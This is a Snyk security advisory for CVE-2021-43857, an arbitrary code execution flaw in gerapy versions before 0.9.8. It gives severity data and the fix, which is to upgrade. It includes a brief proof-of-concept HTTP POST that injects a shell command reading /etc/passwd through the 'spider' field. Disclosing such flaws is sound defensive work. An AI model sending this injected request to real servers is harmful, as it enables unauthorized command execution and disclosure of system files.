Arbitrary Code Execution Affecting gerapy package, versions [,0.9.8)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Mature
EPSS
17.54% (97th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-GERAPY-2327107
  • published28 Dec 2021
  • disclosed28 Dec 2021
  • creditltfafei

Introduced: 28 Dec 2021

CVE-2021-43857  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

Upgrade gerapy to version 0.9.8 or higher.

Overview

gerapy is a Distributed Crawler Management Framework Based on Scrapy, Scrapyd, Scrapyd-Client, Scrapyd-API, Django and Vue.js.

Affected versions of this package are vulnerable to Arbitrary Code Execution via the project_configure function, by sending HTTP requests that contains malicious code.

Note: CVE-2021-44597 is a duplicate of CVE-2021-43857

POC:

POST /api/project/1/parse HTTP/1.1

Host: x.x.x.x

User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) 

Chrome/99.0.7113.93 Safari/537.36

Accept: application/json, text/plain, /

Authorization: Token $token

Content-Type: application/x-www-form-urlencoded

Content-Length: 49

{"spider": "cat /etc/passwd|cat /etc/passwd"}

CVSS Scores

version 3.1